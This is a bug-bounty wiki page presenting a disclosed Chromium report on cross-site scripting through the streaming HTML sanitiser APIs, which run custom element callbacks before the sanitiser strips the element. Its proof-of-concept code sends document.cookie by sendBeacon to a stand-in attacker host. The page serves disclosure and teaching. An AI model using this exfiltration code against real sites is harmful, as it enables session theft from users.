Skip to content
XSS Advisory Advanced CVE-2026-87632

Cross-site scripting in SanitizerAPI (CVE-2026-87632)

The streaming HTML sanitisation APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructors and attributeChangedCallback handlers during parsing, before the sanitiser removes the element. An attacker who can get HTML rendered through these APIs could cause the page's own custom element code to run with attacker-controlled attribute values, and the proof of concept uses that to send the page's cookie to an attacker server.

Eli Ainhorn Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 47 days

Steps to reproduce the problem

  1. On a server, save the attached stream-ce-callback-poc.py and run python3 stream-ce-callback-poc.py
  2. Open http://VPS_IP:9590/ in Chrome 150
  3. The page defines a custom element <embed-widget> with observedAttributes: ['data-src'] whose attributeChangedCallback calls navigator.sendBeacon(val, ...) with the page's document.cookie and URL
  4. Click "Render with streamHTML() (VULNERABLE)"
  5. Check the callback log: constructor() and attributeChangedCallback() fire during streamHTML, sendBeacon returns true, and the element is stripped after
  6. Check "Attacker callback server hits": the beacon was received at the attacker endpoint containing the page's cookie and URL
  7. Click "Render with setHTML() (SAFE)" to compare: zero callbacks fire, no beacon sent

Minimal inline reproduction:

class X extends HTMLElement {
  constructor() { super(); console.log('constructor fired'); }
  static get observedAttributes() { return ['data-x']; }
  attributeChangedCallback(n,o,v) {
    console.log('attributeChangedCallback:', v);
    navigator.sendBeacon(v, document.cookie);
  }
}
customElements.define('x-widget', X);

const div = document.createElement('div');
document.body.appendChild(div);

// streamHTML: callbacks fire, beacon sent
const s = div.streamHTML();
const w = s.getWriter();
await w.write('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
await w.close();
// constructor + attributeChangedCallback execute. Element stripped after.

// setHTML: no callbacks
div.setHTML('<x-widget data-x="https://attacker.example/steal">test</x-widget>');
// No output. No callbacks.

Problem Description

The safe streaming HTML APIs (streamHTML, streamAppendHTML, streamPrependHTML) fire custom element constructor() and attributeChangedCallback() during parsing, before the sanitizer strips the element. setHTML() correctly suppresses all CE lifecycle callbacks.

The streaming path creates the parser on the live document with the active custom element registry, so custom element constructors fire during element creation and attributeChangedCallback fires during attribute setting. Both happen before the sanitizer removes the element. connectedCallback does not fire because parsed nodes stay in a disconnected DocumentFragment.

setHTML avoids this by parsing into an inert template document with a null registry, so no CE definitions are found and no callbacks execute.

###Attack scenario A web application using custom elements (Lit, FAST, Shoelace, native Web Components) renders user-provided HTML via streamHTML() for safe sanitization. An attacker includes the application's custom element tags with attacker-controlled attribute values. The callbacks fire before the element is stripped, enabling network requests via sendBeacon/fetch to attacker-controlled URLs. The PoC demonstrates exfiltration of document.cookie to the attacker server this way.

Confirmed on all three safe streaming APIs: streamHTML(), streamAppendHTML(), streamPrependHTML().

Summary

streamHTML fires CE constructor/attributeChangedCallback before sanitizer strips elements

Custom Questions

Reporter credit:

Eli Ainhorn

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A \

The original report as published on the Chromium issue tracker, by Eli Ainhorn. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The streaming path parses into the live document with the active custom element registry, so element constructors and attribute callbacks run before sanitisation, whereas setHTML parses into an inert template document with a null registry.

Impact

An application that sanitises user-supplied HTML with the streaming APIs could have its own custom element callbacks triggered with attacker-chosen values, allowing requests such as beacons to attacker servers and exfiltration of the page cookie; connectedCallback does not fire, and setHTML is unaffected.

What the attacker needed

App renders untrusted HTML via streaming APIs; app defines custom elements; attacker controls the HTML input

How it was found

  1. Run the provided proof-of-concept server script.
  2. Open the served page in Chrome 150.
  3. The page defines a custom element whose attribute callback sends the page cookie and URL to the attribute value.
  4. Click the button that renders the markup with the vulnerable streaming API.
  5. Observe the constructor and attribute callbacks firing and the beacon being sent before the element is stripped.
  6. Compare with the safe API, where no callbacks fire and no beacon is sent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sanitiser is meant to clean untrusted HTML before it is shown, so that nothing dangerous runs. Here the browser's streaming version of the sanitiser let the page's own custom element code (small scripts attached to a tag) run first, and only removed the tag afterwards. Because that code ran, it could be tricked into sending the visitor's cookie to a server the attacker controls.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.